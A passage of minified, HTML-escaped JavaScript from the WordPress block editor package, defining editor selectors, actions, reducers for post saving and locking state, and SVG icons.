ve,isEditedPostBeingScheduled:()=&gt;we,isEditedPostDateFloating:()=&gt;Se,isEditedPostDirty:()=&gt;ee,isEditedPostEmpty:()=&gt;xe,isEditedPostNew:()=&gt;X,isEditedPostPublishable:()=&gt;be,isEditedPostSaveable:()=&gt;ye,isEditorPanelEnabled:()=&gt;qe,isEditorPanelOpened:()=&gt;Ke,isEditorPanelRemoved:()=&gt;Ye,isFirstMultiSelectedBlock:()=&gt;Mt,isInserterOpened:()=&gt;rt,isListViewOpened:()=&gt;ot,isMultiSelecting:()=&gt;Zt,isPermalinkEditable:()=&gt;Ae,isPostAutosavingLocked:()=&gt;Ue,isPostLockTakeover:()=&gt;He,isPostLocked:()=&gt;Fe,isPostSavingLocked:()=&gt;Ve,isPreviewingPost:()=&gt;Ie,isPublishSidebarEnabled:()=&gt;We,isPublishSidebarOpened:()=&gt;ps,isPublishingPost:()=&gt;De,isSavingNonPostEntityChanges:()=&gt;Pe,isSavingPost:()=&gt;Ce,isSelectionEnabled:()=&gt;Yt,isTyping:()=&gt;Kt,isValidTemplate:()=&gt;es});var t={};s.r(t),s.d(t,{__experimentalTearDownEditor:()=&gt;vs,__unstableSaveForPreview:()=&gt;Bs,autosave:()=&gt;Is,clearSelectedBlock:()=&gt;hn,closePublishSidebar:()=&gt;sn,createUndoLevel:()=&gt;Ds,disablePublishSidebar:()=&gt;Ls,editPost:()=&gt;Ps,enablePublishSidebar:()=&gt;Ms,enterFormattedText:()=&gt;Rn,exitFormattedText:()=&gt;Dn,hideInsertionPoint:()=&gt;kn,insertBlock:()=&gt;vn,insertBlocks:()=&gt;wn,insertDefaultBlock:()=&gt;An,lockPostAutosaving:()=&gt;Vs,lockPostSaving:()=&gt;Os,mergeBlocks:()=&gt;jn,moveBlockToPosition:()=&gt;xn,moveBlocksDown:()=&gt;bn,moveBlocksUp:()=&gt;yn,multiSelect:()=&gt;mn,openPublishSidebar:()=&gt;tn,receiveBlocks:()=&gt;an,redo:()=&gt;Ns,refreshPost:()=&gt;Es,removeBlock:()=&gt;Tn,removeBlocks:()=&gt;En,removeEditorPanel:()=&gt;Ys,replaceBlock:()=&gt;fn,replaceBlocks:()=&gt;_n,resetBlocks:()=&gt;rn,resetEditorBlocks:()=&gt;Hs,resetPost:()=&gt;ws,savePost:()=&gt;js,selectBlock:()=&gt;dn,setDeviceType:()=&gt;$s,setEditedPost:()=&gt;Cs,setIsInserterOpened:()=&gt;qs,setIsListViewOpened:()=&gt;Ks,setRenderingMode:()=&gt;Gs,setTemplateValidity:()=&gt;Cn,setupEditor:()=&gt;xs,setupEditorState:()=&gt;ks,showInsertionPoint:()=&gt;Sn,startMultiSelect:()=&gt;un,startTyping:()=&gt;Bn,stopMultiSelect:()=&gt;pn,stopTyping:()=&gt;Nn,switchEditorMode:()=&gt;en,synchronizeTemplate:()=&gt;Pn,toggleBlockMode:()=&gt;In,toggleDistractionFree:()=&gt;Qs,toggleEditorPanelEnabled:()=&gt;Ws,toggleEditorPanelOpened:()=&gt;Zs,togglePublishSidebar:()=&gt;nn,toggleSelection:()=&gt;gn,toggleSpotlightMode:()=&gt;Xs,toggleTopToolbar:()=&gt;Js,trashPost:()=&gt;Ts,undo:()=&gt;Rs,unlockPostAutosaving:()=&gt;Us,unlockPostSaving:()=&gt;Fs,updateBlock:()=&gt;ln,updateBlockAttributes:()=&gt;cn,updateBlockListSettings:()=&gt;Mn,updateEditorSettings:()=&gt;zs,updatePost:()=&gt;Ss,updatePostLock:()=&gt;As});var o={};s.r(o),s.d(o,{closeModal:()=&gt;xa,disableComplementaryArea:()=&gt;ma,enableComplementaryArea:()=&gt;pa,openModal:()=&gt;ya,pinItem:()=&gt;ha,setDefaultComplementaryArea:()=&gt;ua,setFeatureDefaults:()=&gt;ba,setFeatureValue:()=&gt;fa,toggleFeature:()=&gt;_a,unpinItem:()=&gt;ga});var r={};s.r(r),s.d(r,{getActiveComplementaryArea:()=&gt;va,isComplementaryAreaLoading:()=&gt;wa,isFeatureActive:()=&gt;ka,isItemPinned:()=&gt;Sa,isModalActive:()=&gt;Ca});var i={};s.r(i),s.d(i,{ActionItem:()=&gt;Na,ComplementaryArea:()=&gt;Va,ComplementaryAreaMoreMenuItem:()=&gt;Da,FullscreenMode:()=&gt;Ua,InterfaceSkeleton:()=&gt;Wa,PinnedItems:()=&gt;Ma,store:()=&gt;ja});var a={};s.r(a),s.d(a,{createTemplate:()=&gt;Zl,hideBlockTypes:()=&gt;ql,registerEntityAction:()=&gt;Vl,registerEntityField:()=&gt;Hl,registerPostTypeSchema:()=&gt;$l,removeTemplates:()=&gt;Xl,revertTemplate:()=&gt;Ql,saveDirtyEntities:()=&gt;Kl,setCanvasMinHeight:()=&gt;ec,setCurrentTemplateId:()=&gt;Wl,setDefaultRenderingMode:()=&gt;Jl,setIsReady:()=&gt;Gl,showBlockTypes:()=&gt;Yl,unregisterEntityAction:()=&gt;Ul,unregisterEntityField:()=&gt;zl});var l={};s.r(l),s.d(l,{getCanvasMinHeight:()=&gt;yc,getDefaultRenderingMode:()=&gt;bc,getEntityActions:()=&gt;hc,getEntityFields:()=&gt;_c,getInserter:()=&gt;lc,getInserterSidebarToggleRef:()=&gt;dc,getListViewToggleRef:()=&gt;cc,getPostBlocksByName:()=&gt;fc,getPostIcon:()=&gt;pc,hasPostMetaChanges:()=&gt;mc,isEntityReady:()=&gt;gc});const c=window.ReactJSXRuntime,d=window.wp.data,u=window.wp.coreData,p=window.wp.element,m=window.wp.compose,h=window.wp.hooks,g=window.wp.blockEditor,_={...g.SETTINGS_DEFAULTS,richEditingEnabled:!0,codeEditingEnabled:!0,fontLibraryEnabled:!0,enableCustomFields:void 0,defaultRenderingMode:&quot;post-only&quot;};var f=(0,d.combineReducers)({actions:function(e={},t){switch(t.type){case&quot;REGISTER_ENTITY_ACTION&quot;:return{...e,[t.kind]:{...e[t.kind],[t.name]:[...(e[t.kind]?.[t.name]??[]).filter((e=&gt;e.id!==t.config.id)),t.config]}};case&quot;UNREGISTER_ENTITY_ACTION&quot;:return{...e,[t.kind]:{...e[t.kind],[t.name]:(e[t.kind]?.[t.name]??[]).filter((e=&gt;e.id!==t.actionId))}}}return e},fields:function(e={},t){switch(t.type){case&quot;REGISTER_ENTITY_FIELD&quot;:return{...e,[t.kind]:{...e[t.kind],[t.name]:[...(e[t.kind]?.[t.name]??[]).filter((e=&gt;e.id!==t.config.id)),t.config]}};case&quot;UNREGISTER_ENTITY_FIELD&quot;:return{...e,[t.kind]:{...e[t.kind],[t.name]:(e[t.kind]?.[t.name]??[]).filter((e=&gt;e.id!==t.fieldId))}}}return e},isReady:function(e={},t){return&quot;SET_IS_READY&quot;===t.type?{...e,[t.kind]:{...e[t.kind],[t.name]:!0}}:e}});function b(e){return e&amp;&amp;&quot;object&quot;==typeof e&amp;&amp;&quot;raw&quot;in e?e.raw:e}var y=(0,d.combineReducers)({postId:function(e=null,t){return&quot;SET_EDITED_POST&quot;===t.type?t.postId:e},postType:function(e=null,t){return&quot;SET_EDITED_POST&quot;===t.type?t.postType:e},templateId:function(e=null,t){return&quot;SET_CURRENT_TEMPLATE_ID&quot;===t.type?t.id:e},saving:function(e={},t){switch(t.type){case&quot;REQUEST_POST_UPDATE_START&quot;:case&quot;REQUEST_POST_UPDATE_FINISH&quot;:return{pending:&quot;REQUEST_POST_UPDATE_START&quot;===t.type,options:t.options||{}}}return e},deleting:function(e={},t){switch(t.type){case&quot;REQUEST_POST_DELETE_START&quot;:case&quot;REQUEST_POST_DELETE_FINISH&quot;:return{pending:&quot;REQUEST_POST_DELETE_START&quot;===t.type}}return e},postLock:function(e={isLocked:!1},t){return&quot;UPDATE_POST_LOCK&quot;===t.type?t.lock:e},template:function(e={isValid:!0},t){return&quot;SET_TEMPLATE_VALIDITY&quot;===t.type?{...e,isValid:t.isValid}:e},postSavingLock:function(e={},t){switch(t.type){case&quot;LOCK_POST_SAVING&quot;:return{...e,[t.lockName]:!0};case&quot;UNLOCK_POST_SAVING&quot;:{const{[t.lockName]:s,...n}=e;return n}}return e},editorSettings:function(e=_,t){return&quot;UPDATE_EDITOR_SETTINGS&quot;===t.type?{...e,...t.settings}:e},postAutosavingLock:function(e={},t){switch(t.type){case&quot;LOCK_POST_AUTOSAVING&quot;:return{...e,[t.lockName]:!0};case&quot;UNLOCK_POST_AUTOSAVING&quot;:{const{[t.lockName]:s,...n}=e;return n}}return e},renderingMode:function(e=&quot;post-only&quot;,t){return&quot;SET_RENDERING_MODE&quot;===t.type?t.mode:e},deviceType:function(e=&quot;Desktop&quot;,t){return&quot;SET_DEVICE_TYPE&quot;===t.type?t.deviceType:e},removedPanels:function(e=[],t){if(&quot;REMOVE_PANEL&quot;===t.type)if(!e.includes(t.panelName))return[...e,t.panelName];return e},blockInserterPanel:function(e=!1,t){switch(t.type){case&quot;SET_IS_LIST_VIEW_OPENED&quot;:return!t.isOpen&amp;&amp;e;case&quot;SET_IS_INSERTER_OPENED&quot;:return t.value}return e},inserterSidebarToggleRef:function(e={current:null}){return e},listViewPanel:function(e=!1,t){switch(t.type){case&quot;SET_IS_INSERTER_OPENED&quot;:return!t.value&amp;&amp;e;case&quot;SET_IS_LIST_VIEW_OPENED&quot;:return t.isOpen}return e},listViewToggleRef:function(e={current:null}){return e},publishSidebarActive:function(e=!1,t){switch(t.type){case&quot;OPEN_PUBLISH_SIDEBAR&quot;:return!0;case&quot;CLOSE_PUBLISH_SIDEBAR&quot;:return!1;case&quot;TOGGLE_PUBLISH_SIDEBAR&quot;:return!e}return e},canvasMinHeight:function(e=0,t){return&quot;SET_CANVAS_MIN_HEIGHT&quot;===t.type?t.minHeight:e},dataviews:f});const x=window.wp.blocks,v=window.wp.date,w=window.wp.url,S=window.wp.deprecated;var k=s.n(S);const C=window.wp.preferences,P=new Set([&quot;meta&quot;]),j=/%(?:postname|pagename)%/,E=6e4,T=[&quot;title&quot;,&quot;excerpt&quot;,&quot;content&quot;],I=&quot;wp_template&quot;,B=&quot;wp_template_part&quot;,N=&quot;wp_block&quot;,R=&quot;wp_navigation&quot;,D=&quot;custom&quot;,A=[&quot;wp_template&quot;,&quot;wp_template_part&quot;],M=[...A,&quot;wp_block&quot;,&quot;wp_navigation&quot;],L=window.wp.primitives;var O=(0,c.jsx)(L.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,c.jsx)(L.Path,{d:&quot;M18.5 10.5H10v8h8a.5.5 0 00.5-.5v-7.5zm-10 0h-3V18a.5.5 0 00.5.5h2.5v-8zM6 4h12a2 2 0 012 2v12a2 2 0 01-2 2H6a2 2 0 01-2-2V6a2 2 0 012-2z&quot;})}),F=(0,c.jsx)(L.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,c.jsx)(L.Path,{fillRule:&quot;evenodd&quot;,d:&quot;M18 5.5h-8v8h8.5V6a.5.5 0 00-.5-.5zm-9.5 8h-3V6a.5.5 0 01.5-.5h2.5v8zM6 4h12a2 2 0 012 2v12a2 2 0 01-2 2H6a2 2 0 01-2-2V6a2 2 0 012-2z&quot;})}),V=(0,c.jsx)(L.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,c.jsx)(L.Path,{d:&quot;M18 5.5H6a.5.5 0 00-.5.5v3h13V6a.5.5 0 00-.5-.5zm.5 5H10v8h8a.5.5 0 00.5-.5v-7.5zM6 4h12a2 2 0 012 2v12a2 2 0 01-2 2H6a2 2 0 01-2-2V6a2 2 0 012-2z&quot;})}),U=(0,c.jsx)(L.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,c.jsx)(L.Path,{d:&quot;M21.3 10.8l-5.6-5.6c-.7-.7-1.8-.7-2.5 0l-5.6 5.6c-.7.7-.7 1.8 0 2.5l5.6 5.6c.3.3.8.5 1.2.5s.9-.2 1.2-.5l5.6-5.6c.8-.7.8-1.9.1-2.5zm-17.6 1L10 5.5l-1-1-6.3 6.3c-.7.7-.7 1.8 0 2.5L9 19.5l1.1-1.1-6.3-6.3c-.2 0-.2-.2-.1-.3z&quot;})});function H(e){return&quot;header&quot;===e?O:&quot;footer&quot;===e?F:&quot;sidebar&quot;===e?V:U}const z=window.wp.privateApis,{lock:G,unlock:$}=(0,z.__dangerousOptInToUnstableAPIsOnlyForCoreModules)(&quot;I acknowledge private features are not for use in themes or plugins and doing so will break in the next version of WordPress.&quot;,&quot;@wordpress/editor&quot;);var W=(0,c.jsx)(L.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,c.jsx)(L.Path,{d:&quot;M18 5.5H6a.5.5 0 00-.5.5v3h13V6a.5.5 0 00-.5-.5zm.5 5H10v8h8a.5.5 0 00.5-.5v-7.5zm-10 0h-3V18a.5.5 0 00.5.5h2.5v-8zM6 4h12a2 2 0 012 2v12a2 2 0 01-2 2H6a2 2 0 01-2-2V6a2 2 0 012-2z&quot;})});const Z={},Y=e=&gt;{if(!e)return Z;const{templateTypes:t,templateAreas:s,template:n}=e,{description:o,slug:r,title:i,area:a}=n,{title:l,description:c}=Object.values(t).find((e=&gt;e.slug===r))??Z,d=&quot;string&quot;==typeof i?i:i?.rendered,u=&quot;string&quot;==typeof o?o:o?.raw,p=s?.map((e=&gt;({...e,icon:H(e.icon)}))),m=p?.find((e=&gt;a===e.area))?.icon||W;return{title:d&amp;&amp;d!==r?d:l||r,description:u||c,icon:m}},q={},K=(0,d.createRegistrySelector)((e=&gt;()=&gt;e(u.store).hasUndo())),Q=(0,d.createRegistrySelector)((e=&gt;()=&gt;e(u.store).hasRedo()));function X(e){return&quot;auto-draft&quot;===ne(e).status}function J(e){return&quot;content&quot;in ce(e)}const ee=(0,d.createRegistrySelector)((e=&gt;t=&gt;{const s=oe(t),n=re(t);return e(u.store).hasEditsForEntityRecord(&quot;postType&quot;,s,n)})),te=(0,d.createRegistrySelector)((e=&gt;t=&gt;{const s=e(u.store).__experimentalGetDirtyEntityRecords(),{type:n,id:o}=ne(t);return s.some((e=&gt;&quot;postType&quot;!==e.kind||e.name!==n||e.key!==o))}));function se(e){return!ee(e)&amp;&amp;X(e)}const ne=(0,d.createRegistrySelector)((e=&gt;t=&gt;{const s=re(t),n=oe(t),o=e(u.store).getRawEntityRecord(&quot;postType&quot;,n,s);return o||q}));function oe(e){return e.postType}function re(e){return e.postId}function ie(e){return e.templateId}function ae(e){return ne(e)._links?.[&quot;version-history&quot;]?.[0]?.count??0}function le(e){return ne(e)._links?.[&quot;predecessor-version&quot;]?.[0]?.id??null}const ce=(0,d.createRegistrySelector)((e=&gt;t=&gt;{const s=oe(t),n=re(t);return e(u.store).getEntityRecordEdits(&quot;postType&quot;,s,n)||q}));function de(e,t){switch(t){case&quot;type&quot;:return oe(e);case&quot;id&quot;:return re(e);default:const s=ne(e);if(!s.hasOwnProperty(t))break;return b(s[t])}}const ue=(0,d.createSelector)(((e,t)=&gt;{const s=ce(e);return s.hasOwnProperty(t)?{...de(e,t),...s[t]}:de(e,t)}),((e,t)=&gt;[de(e,t),ce(e)[t]]));function pe(e,t){if(&quot;content&quot;===t)return Re(e);const s=ce(e);return s.hasOwnProperty(t)?P.has(t)?ue(e,t):s[t]:de(e,t)}const me=(0,d.createRegistrySelector)((e=&gt;(t,s)=&gt;{if(!T.includes(s)&amp;&amp;&quot;preview_link&quot;!==s)return;const n=oe(t);if(&quot;wp_template&quot;===n)return!1;const o=re(t),r=e(u.store).getCurrentUser()?.id,i=e(u.store).getAutosave(n,o,r);return i?b(i[s]):void 0}));function he(e){if(&quot;private&quot;===pe(e,&quot;status&quot;))return&quot;private&quot;;return pe(e,&quot;password&quot;)?&quot;password&quot;:&quot;public&quot;}function ge(e){return&quot;pending&quot;===ne(e).status}function _e(e,t){const s=t||ne(e);return-1!==[&quot;publish&quot;,&quot;private&quot;].indexOf(s.status)||&quot;future&quot;===s.status&amp;&amp;!(0,v.isInTheFuture)(new Date(Number((0,v.getDate)(s.date))-E))}function fe(e){return&quot;future&quot;===ne(e).status&amp;&amp;!_e(e)}function be(e){const t=ne(e);return ee(e)||-1===[&quot;publish&quot;,&quot;private&quot;,&quot;future&quot;].indexOf(t.status)}function ye(e){return!Ce(e)&amp;&amp;(!!pe(e,&quot;title&quot;)||!!pe(e,&quot;excerpt&quot;)||!xe(e)||&quot;native&quot;===p.Platform.OS)}const xe=(0,d.createRegistrySelector)((e=&gt;t=&gt;{const s=re(t),n=oe(t),o=e(u.store).getEditedEntityRecord(&quot;postType&quot;,n,s);if(&quot;function&quot;!=typeof o.content)return!o.content;const r=pe(t,&quot;blocks&quot;);if(0===r.length)return!0;if(r.length&gt;1)return!1;const i=r[0].name;return(i===(0,x.getDefaultBlockName)()||i===(0,x.getFreeformContentHandlerName)())&amp;&amp;!Re(t)})),ve=(0,d.createRegistrySelector)((e=&gt;t=&gt;{if(!ye(t))return!1;if(Ue(t))return!1;const s=oe(t),n=e(u.store).getPostType(s);if(&quot;wp_template&quot;===s||!n?.supports?.autosave)return!1;const o=re(t),r=e(u.store).hasFetchedAutosaves(s,o),i=e(u.store).getCurrentUser()?.id,a=e(u.store).getAutosave(s,o,i);return!!r&amp;&amp;(!a||(!!J(t)||[&quot;title&quot;,&quot;excerpt&quot;,&quot;meta&quot;].some((e=&gt;b(a[e])!==pe(t,e)))))}));function we(e){const t=pe(e,&quot;date&quot;),s=new Date(Number((0,v.getDate)(t))-E);return(0,v.isInTheFuture)(s)}function Se(e){const t=pe(e,&quot;date&quot;),s=pe(e,&quot;modified&quot;),n=ne(e).status;return(&quot;draft&quot;===n||&quot;auto-draft&quot;===n||&quot;pending&quot;===n)&amp;&amp;(t===s||null===t)}function ke(e){return!!e.deleting.pending}function Ce(e){return!!e.saving.pending}const Pe=(0,d.createRegistrySelector)((e=&gt;t=&gt;{const s=e(u.store).__experimentalGetEntitiesBeingSaved(),{type:n,id:o}=ne(t);return s.some((e=&gt;&quot;postType&quot;!==e.kind||e.name!==n||e.key!==o))})),je=(0,d.createRegistrySelector)((e=&gt;t=&gt;{const s=oe(t),n=re(t);return!e(u.store).getLastEntitySaveError(&quot;postType&quot;,s,n)})),Ee=(0,d.createRegistrySelector)((e=&gt;t=&gt;{const s=oe(t),n=re(t);return!!e(u.store).getLastEntitySaveError(&quot;postType&quot;,s,n)}));function Te(e){return Ce(e)&amp;&amp;Boolean(e.saving.options?.isAutosave)}function Ie(e){return Ce(e)&amp;&amp;Boolean(e.saving.options?.isPreview)}function Be(e){if(e.saving.pending||Ce(e))return;let t=me(e,&quot;preview_link&quot;);t&amp;&amp;&quot;draft&quot;!==ne(e).status||(t=pe(e,&quot;link&quot;),t&amp;&amp;(t=(0,w.addQueryArgs)(t,{preview:!0})));const s=pe(e,&quot;featured_media&quot;);return t&amp;&amp;s?(0,w.addQueryArgs)(t,{_thumbnail_id:s}):t}const Ne=(0,d.createRegistrySelector)((e=&gt;()=&gt;{const t=e(g.store).getBlocks();if(t.length&gt;2)return null;let s;if(1===t.length&amp;&amp;(s=t[0].name,&quot;core/embed&quot;===s)){const e=t[0].attributes?.providerNameSlug;[&quot;youtube&quot;,&quot;vimeo&quot;].includes(e)?s=&quot;core/video&quot;:[&quot;spotify&quot;,&quot;soundcloud&quot;].includes(e)&amp;&amp;(s=&quot;core/audio&quot;)}switch(2===t.length&amp;&amp;&quot;core/paragraph&quot;===t[1].name&amp;&amp;(s=t[0].name),s){case&quot;core/image&quot;:return&quot;image&quot;;case&quot;core/quote&quot;:case&quot;core/pullquote&quot;:return&quot;quote&quot;;case&quot;core/gallery&quot;:return&quot;gallery&quot;;case&quot;core/video&quot;:return&quot;video&quot;;case&quot;core/audio&quot;:return&quot;audio&quot;;default:return null}})),Re=(0,d.createRegistrySelector)((e=&gt;t=&gt;{const s=re(t),n=oe(t),o=e(u.store).getEditedEntityRecord(&quot;postType&quot;,n,s);if(o){if(&quot;function&quot;==typeof o.content)return o.content(o);if(o.blocks)return(0,x.__unstableSerializeAndClean)(o.blocks);if(o.content)return o.content}return&quot;&quot;}));function De(e){return Ce(e)&amp;&amp;!_e(e)&amp;&amp;&quot;publish&quot;===pe(e,&quot;status&quot;)}function Ae(e){const t=pe(e,&quot;permalink_template&quot;);return j.test(t)}function Me(e){const t=Oe(e);if(!t)return null;const{prefix:s,postName:n,suffix:o}=t;return Ae(e)?s+n+o:s}function Le(e){return pe(e,&quot;slug&quot;)||(0,w.cleanForSlug)(pe(e,&quot;title&quot;))||re(e)}function Oe(e){const t=pe(e,&quot;permalink_template&quot;);if(!t)return null;const s=pe(e,&quot;slug&quot;)||pe(e,&quot;generated_slug&quot;),[n,o]=t.split(j);return{prefix:n,postName:s,suffix:o}}function Fe(e){return e.postLock.isLocked}function Ve(e){return Object.keys(e.postSavingLock).length&gt;0}function Ue(e){return Object.keys(e.postAutosavingLock).length&gt;0}function He(e){return e.postLock.isTakeover}function ze(e){return e.postLock.user}function Ge(e){return e.postLock.activePostLock}function $e(e){return Boolean(ne(e)._links?.hasOwnProperty(&quot;wp:action-unfiltered-html&quot;))}const We=(0,d.createRegistrySelector)((e=&gt;()=&gt;!!e(C.store).get(&quot;core&quot;,&quot;isPublishSidebarEnabled&quot;))),Ze=(0,d.createSelector)((e=&gt;pe(e,&quot;blocks&quot;)||(0,x.parse)(Re(e))),(e=&gt;[pe(e,&quot;blocks&quot;),Re(e)]));function Ye(e,t){return e.removedPanels.includes(t)}const qe=(0,d.createRegistrySelector)((e=&gt;(t,s)=&gt;{const n=e(C.store).get(&quot;core&quot;,&quot;inactivePanels&quot;);return!Ye(t,s)&amp;&amp;!n?.includes(s)})),Ke=(0,d.createRegistrySelector)((e=&gt;(t,s)=&gt;{const n=e(C.store).get(&quot;core&quot;,&quot;openPanels&quot;);return!!n?.includes(s)}));function Qe(e){return k()(&quot;select(&#039;core/editor&#039;).getEditorSelectionStart&quot;,{since:&quot;5.8&quot;,alternative:&quot;select(&#039;core/editor&#039;).getEditorSelection&quot;}),pe(e,&quot;selection&quot;)?.selectionStart}function Xe(e){return k()(&quot;select(&#039;core/editor&#039;).getEditorSelectionStart&quot;,{since:&quot;5.8&quot;,alternative:&quot;select(&#039;core/editor&#039;).getEditorSelection&quot;}),pe(e,&quot;selection&quot;)?.selectionEnd}function Je(e){return pe(e,&quot;selection&quot;)}function et(e){return!!e.postId}function tt(e){return e.editorSettings}function st(e){return e.renderingMode}const nt=(0,d.createRegistrySelector)((e=&gt;t=&gt;$(e(g.store)).isZoomOut()?&quot;Desktop&quot;:t.deviceType));function ot(e){return e.listViewPanel}function rt(e){return!!e.blockInserterPanel}const it=(0,d.createRegistrySelector)((e=&gt;()=&gt;e(C.store).get(&quot;core&quot;,&quot;editorMode&quot;)??&quot;visual&quot;));function at(){return k()(&quot;select(&#039;core/editor&#039;).getStateBeforeOptimisticTransaction&quot;,{since:&quot;5.7&quot;,hint:&quot;No state history is kept on this store anymore&quot;}),null}function lt(){return k()(&quot;select(&#039;core/editor&#039;).inSomeHistory&quot;,{since:&quot;5.7&quot;,hint:&quot;No state history is kept on this store anymore&quot;}),!1}function ct(e){return(0,d.createRegistrySelector)((t=&gt;(s,...n)=&gt;(k()(&quot;`wp.data.select( &#039;core/editor&#039; ).&quot;+e+&quot;`&quot;,{since:&quot;5.3&quot;,alternative:&quot;`wp.data.select( &#039;core/block-editor&#039; ).&quot;+e+&quot;`&quot;,version:&quot;6.2&quot;}),t(g.store)[e](...n))))}const dt=ct(&quot;getBlockName&quot;),ut=ct(&quot;isBlockValid&quot;),pt=ct(&quot;getBlockAttributes&quot;),mt=ct(&quot;getBlock&quot;),ht=ct(&quot;getBlocks&quot;),gt=ct(&quot;getClientIdsOfDescendants&quot;),_t=ct(&quot;getClientIdsWithDescendants&quot;),ft=ct(&quot;getGlobalBlockCount&quot;),bt=ct(&quot;getBlocksByClientId&quot;),yt=ct(&quot;getBlockCount&quot;),xt=ct(&quot;getBlockSelectionStart&quot;),vt=ct(&quot;getBlockSelectionEnd&quot;),wt=ct(&quot;getSelectedBlockCount&quot;),St=ct(&quot;hasSelectedBlock&quot;),kt=ct(&quot;getSelectedBlockClientId&quot;),Ct=ct(&quot;getSelectedBlock&quot;),Pt=ct(&quot;getBlockRootClientId&quot;),jt=ct(&quot;getBlockHierarchyRootClientId&quot;),Et=ct(&quot;getAdjacentBlockClientId&quot;),Tt=ct(&quot;getPreviousBlockClientId&quot;),It=ct(&quot;getNextBlockClientId&quot;),Bt=ct(&quot;getSelectedBlocksInitialCaretPosition&quot;),Nt=ct(&quot;getMultiSelectedBlockClientIds&quot;),Rt=ct(&quot;getMultiSelectedBlocks&quot;),Dt=ct(&quot;getFirstMultiSelectedBlockClientId&quot;),At=ct(&quot;getLastMultiSelectedBlockClientId&quot;),Mt=ct(&quot;isFirstMultiSelectedBlock&quot;),Lt=ct(&quot;isBlockMultiSelected&quot;),Ot=ct(&quot;isAncestorMultiSelected&quot;),Ft=ct(&quot;getMultiSelectedBlocksStartClientId&quot;),Vt=ct(&quot;getMultiSelectedBlocksEndClientId&quot;),Ut=ct(&quot;getBlockOrder&quot;),Ht=ct(&quot;getBlockIndex&quot;),zt=ct(&quot;isBlockSelected&quot;),Gt=ct(&quot;hasSelectedInnerBlock&quot;),$t=ct(&quot;isBlockWithinSelection&quot;),Wt=ct(&quot;hasMultiSelection&quot;),Zt=ct(&quot;isMultiSelecting&quot;),Yt=ct(&quot;isSelectionEnabled&quot;),qt=ct(&quot;getBlockMode&quot;),Kt=ct(&quot;isTyping&quot;),Qt=ct(&quot;isCaretWithinFormattedText&quot;),Xt=ct(&quot;getBlockInsertionPoint&quot;),Jt=ct(&quot;isBlockInsertionPointVisible&quot;),es=ct(&quot;isValidTemplate&quot;),ts=ct(&quot;getTemplate&quot;),ss=ct(&quot;getTemplateLock&quot;),ns=ct(&quot;canInsertBlockType&quot;),os=ct(&quot;getInserterItems&quot;),rs=ct(&quot;hasInserterItems&quot;),is=ct(&quot;getBlockListSettings&quot;),as=(0,d.createRegistrySelector)((e=&gt;()=&gt;(k()(&quot;select(&#039;core/editor&#039;).__experimentalGetDefaultTemplateTypes&quot;,{since:&quot;6.8&quot;,alternative:&quot;select(&#039;core/core-data&#039;).getCurrentTheme()?.default_template_types&quot;}),e(u.store).getCurrentTheme()?.default_template_types))),ls=(0,d.createRegistrySelector)((e=&gt;(0,d.createSelector)((()=&gt;{k()(&quot;select(&#039;core/editor&#039;).__experimentalGetDefaultTemplatePartAreas&quot;,{since:&quot;6.8&quot;,alternative:&quot;select(&#039;core/core-data&#039;).getCurrentTheme()?.default_template_part_areas&quot;});return(e(u.store).getCurrentTheme()?.default_template_part_areas||[]).map((e=&gt;({...e,icon:H(e.icon)})))})))),cs=(0,d.createRegistrySelector)((e=&gt;(0,d.createSelector)(((t,s)=&gt;{k()(&quot;select(&#039;core/editor&#039;).__experimentalGetDefaultTemplateType&quot;,{since:&quot;6.8&quot;});const n=e(u.store).getCurrentTheme()?.default_template_types;return n?Object.values(n).find((e=&gt;e.slug===s))??q:q})))),ds=(0,d.createRegistrySelector)((e=&gt;(0,d.createSelector)(((t,s)=&gt;{if(k()(&quot;select(&#039;core/editor&#039;).__experimentalGetTemplateInfo&quot;,{since:&quot;6.8&quot;}),!s)return q;const n=e(u.store).getCurrentTheme(),o=n?.default_template_types||[];return Y({template:s,templateAreas:n?.default_template_part_areas||[],templateTypes:o})})))),us=(0,d.createRegistrySelector)((e=&gt;t=&gt;{const s=oe(t),n=e(u.store).getPostType(s);return n?.labels?.singular_name}));function ps(e){return e.publishSidebarActive}const ms=window.wp.a11y,hs=window.wp.apiFetch;var gs=s.n(hs);const _s=window.wp.notices,fs=window.wp.i18n;function bs(e,t){return`wp-autosave-block-editor-post-${t?&quot;auto-draft&quot;:e}`}function ys(e,t){window.sessionStorage.removeItem(bs(e,t))}const xs=(e,t,s)=&gt;({dispatch:n})=&gt;{n.setEditedPost(e.type,e.id);if(&quot;auto-draft&quot;===e.status&amp;&amp;s){let o;o=&quot;content&quot;in t?t.content:e.content.raw;let r=(0,x.parse)(o);r=(0,x.synchronizeBlocksWithTemplate)(r,s),n.resetEditorBlocks(r,{__unstableShouldCreateUndoLevel:!1})}t&amp;&amp;Object.values(t).some((([t,s])=&gt;s!==(e[t]?.raw??e[t])))&amp;&amp;n.editPost(t)};function vs(){return k()(&quot;wp.data.dispatch( &#039;core/editor&#039; ).__experimentalTearDownEditor&quot;,{since:&quot;6.5&quot;}),{type:&quot;DO_NOTHING&quot;}}function ws(){return k()(&quot;wp.data.dispatch( &#039;core/editor&#039; ).resetPost&quot;,{since:&quot;6.0&quot;,version:&quot;6.3&quot;,alternative:&quot;Initialize the editor with the setupEditorState action&quot;}),{type:&quot;DO_NOTHING&quot;}}function Ss(){return k()(&quot;wp.data.dispatch( &#039;core/editor&#039; ).updatePost&quot;,{since:&quot;5.7&quot;,alternative:&quot;Use the core entities store instead&quot;}),{type:&quot;DO_NOTHING&quot;}}function ks(e){return k()(&quot;wp.data.dispatch( &#039;core/editor&#039; ).setupEditorState&quot;,{since:&quot;6.5&quot;,alternative:&quot;wp.data.dispatch( &#039;core/editor&#039; ).setEditedPost&quot;}),Cs(e.type,e.id)}function Cs(e,t){return{type:&quot;SET_EDITED_POST&quot;,postType:e,postId:t}}const 